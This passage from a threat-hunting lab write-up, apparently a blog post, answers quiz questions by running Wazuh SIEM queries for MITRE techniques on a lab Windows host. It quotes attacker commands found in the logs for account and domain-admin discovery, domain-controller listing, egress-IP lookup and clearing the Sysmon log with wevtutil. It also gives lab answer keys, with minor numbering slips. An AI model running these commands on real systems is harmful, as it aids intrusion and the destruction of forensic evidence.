the connection. We checked the data.action field, which was:</p><pre>data.action: deny</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*mCOxpOE6UN1caxBDQLnIAA.png" /></figure><p>This means the <strong>Firewall denied the connection</strong> to the IP 185.220.101.24 over <strong>HTTPS port 443</strong>.</p><pre>Answer: deny</pre><h3>Practical Lab-3</h3><h4>Hypothesis-3</h4><p>Note: The following questions are provided for the threat hunting process to test the following hypothesis.</p><p>Hypothesis:An attacker may be conducting reconnaissance activities (both endpoint and domain-level) from a compromised endpoint, and may have deleted associated log entries to cover their tracks.</p><p><strong><em>Q1: What is the agent IP address of the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”?</em></strong></p><p>To find the system where <strong>T1087.001 — Account Discovery: Local Account</strong> activity occurred, I searched for the technique ID in the <strong>SIEM</strong> during the period from <strong>Aug 1, 2024 00:00 to Aug 7, 2024 00:00</strong>.</p><pre>T1087.001</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ki-vmInsc2IU4j2HjjPG-w.png" /></figure><p>An Event related to <strong>Account Discovery: Local Account</strong> appeared. From the Event details, I checked the agent.ip field to identify the IP address of the Windows endpoint where the activity occurred.</p><p>The value was:</p><pre>agent.ip: 172.16.8.159</pre><p>Therefore:</p><pre>Answer: 172.16.8.159</pre><p><strong><em>Q2: What command was executed to discover local accounts on the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: reg query</em></strong></p><p>From the previous question, we identified the system where <strong>T1087.001 — Account Discovery: Local Account</strong> activity occurred. The agent.ip was 172.16.8.159.</p><p>Next, I checked the same Event and focused on the commandLine of the Process responsible for the <strong>Account Discovery</strong> activity. The command used to discover the local accounts was:</p><pre>net users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RewqIxm_rYnU7jK9soRkmw.png" /></figure><blockquote>The net users command displays the list of local user accounts on a Windows system.</blockquote><pre>Answer: net users</pre><p><strong><em>Q3: Which domain group was discovered from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: Guests Users</em></strong></p><p>To confirm the <strong>domain group</strong> discovered on the same system, I used the technique ID for <strong>Domain Group Discovery (T1087.002)</strong> during the same time period:</p><pre>rule.groups: windows and rule.mitre.id: T1087.002</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EvuXn2-jmERsDn35Nj-dBg.png" /></figure><p>An Event appeared on the same endpoint 172.16.8.159. I checked the commandLine field, and the command was:</p><pre>net group &quot;Domain Admins&quot; /domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2tQlqFa-g3kZU9vSt7dOCQ.png" /></figure><p>This means the system was performing <strong>Domain Group Discovery</strong> to identify the members of the <strong>Domain Admins</strong> group in the Domain.</p><p>Therefore, the discovered <strong>domain group</strong> is:</p><pre>Answer: Domain Admins</pre><p><strong><em>Q4: For which domain name was the Domain Controller list enumerated from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: testdomain.io</em></strong></p><p>To search for the activity related to <strong>Domain Controller Discovery</strong>, I used the MITRE Technique ID <strong>T1018</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkeF6h33ZEEh1wpRjz8bFg.png" /><figcaption><a href="https://attack.mitre.org/techniques/T1018/">https://attack.mitre.org/techniques/T1018/</a></figcaption></figure><pre>rule.mitre.id:T1018</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFHTuES46jwbnlKPZWRCZA.png" /></figure><p>An Event appeared on the Windows system LAB19DC, and the command used was:</p><pre>nltest /dclist:lab19.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*cspFsFkgnCJ4VPqy1zL-qg.png" /></figure><p>The nltest /dclist:&lt;domain&gt; command is used to display a list of <strong>Domain Controllers</strong> for the specified domain.</p><p>From the command, we can see that the queried domain was:</p><pre>Answer: lab19.local</pre><p><strong><em>Q5: Which Windows executable (originalFileName) was used for the “Remote System Discovery” MITRE technique to list Domain Controllers from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: net1.exe</em></strong></p><p>From the previous log, in the <strong>OriginalFileName</strong> field, we can see that the executable is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*jK-oztkLYALg6g4VDAxaiQ.png" /></figure><pre>Answer: nltest.exe</pre><p><strong><em>Q6: What is the MITRE technique ID used to discover the internet egress IP address from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: T1122</em></strong></p><p>There are multiple ways to solve this question. One of them is to search Google for <strong>Remote System Discovery</strong>, where we can find that the technique related to discovering the <strong>Remote System Discovery</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZuyuYW42ElKTnabCwPhYvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffCw-LvVdodHgXDAWCpTbQ.png" /></figure><p>Another way is to solve it through <strong>Wazuh</strong> by using a Query to search for network discovery events during the required time period, such as:</p><pre>rule.groups: windows and rule.mitre.technique: Remote System Discovery</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqvQr10QfgteBgLHfi2ALg.png" /></figure><p>By reviewing the related Events on the system, we can identify the <strong>MITRE Technique ID</strong> used to discover the Internet egress IP.</p><pre>Answer: T1018</pre><p><strong><em>Q7: Which URL was accessed to determine the internet egress IP address from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: letsdefend.io</em></strong></p><p>From the logs in the previous question, we can see in the <strong>CommandLine</strong> field that the command used was:</p><pre>curl ifconfig.me</pre><p>This means the system used curl to access <strong>ifconfig.me</strong> to determine the <strong>Internet Egress IP Address</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*ag4HHiq5NVRNnBHbmeG2WA.png" /></figure><pre>Answer: ifconfig.me</pre><p><strong><em>Q8: Which logs were deleted from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: Microsoft-Windows-Powershell/Audit</em></strong></p><p>We can use the following <strong>Query</strong> to search for <strong>Indicator Removal: Clear Windows Event Logs (T1070.001)</strong> events during the required time period:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_2qGtux_mHTOkUSra7CbA.png" /></figure><pre>rule.groups: windows and rule.mitre.id: T1070.001</pre><p>This Query filters <strong>Windows Events</strong> related to the MITRE ATT&amp;CK technique <strong>T1070.001</strong>, which indicates an attempt to delete or clear <strong>Windows Event Logs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9aLK37Kuj_FVRHtozNEcOw.png" /></figure><p>After running the Query, we review the commandLine in the results to identify the command used and the Log that was cleared. The Log showed the following command:</p><pre>wevtutil cl Microsoft-Windows-Sysmon/Operational</pre><p>This means the <strong>Sysmon Operational Log</strong> was cleared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*cuXAui2adw4ru_S9HTw0xw.png" /></figure><pre>Answer: wevtutil cl Microsoft-Windows-Sysmon/Operational</pre><p><strong><em>Q6: Which executable (originalFileName) was used to delete logs from the Windows system where “T1087.001 — Account Discovery: Local Account” activity occurred between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”? Answer Format: net1.exe Note: Type the “originalFileName”.</em></strong></p><p>From the previous log, in the <strong>OriginalFileName</strong> field, we can see that the executable is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*GQCSloAcJ-lpl_ACRa66nQ.png" /></figure><pre>Answer: wevtutil.exe</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af02c1e6c19b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>